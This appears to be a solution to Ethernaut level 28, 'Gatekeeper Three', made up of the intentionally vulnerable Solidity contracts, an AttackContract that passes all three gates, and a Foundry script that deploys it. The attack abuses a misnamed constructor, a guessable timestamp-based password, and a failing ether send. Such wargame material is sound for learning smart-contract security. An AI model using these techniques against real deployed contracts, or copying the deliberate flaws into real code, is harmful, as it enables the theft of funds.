// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ================================================================
// │ LEVEL 28 - GATEKEEPER THREE │
// ================================================================
interface IGatekeeperThree {
function construct0r() external;
function enter() external;
function createTrick() external;
function getAllowance(uint256 _password) external;
}
contract AttackContract {
IGatekeeperThree gatekeeper;
constructor(address targetContractAddress) payable {
gatekeeper = IGatekeeperThree(targetContractAddress);
}
function attack() public {
// ** Gate One **
gatekeeper.construct0r();
// ** Gate Two **
gatekeeper.createTrick();
gatekeeper.getAllowance(block.timestamp);
// ** Gate Three **
(bool success,) = address(gatekeeper).call{value: 0.002 ether}("");
require(success);
gatekeeper.enter();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {AttackContract} from "src/Level28.sol";
// ================================================================
// │ LEVEL 28 - GATEKEEPER THREE │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
AttackContract attackContract = new AttackContract{value: 1 ether}(targetContractAddress);
attackContract.attack();
vm.stopBroadcast();
}
}
Submit instance... 🥳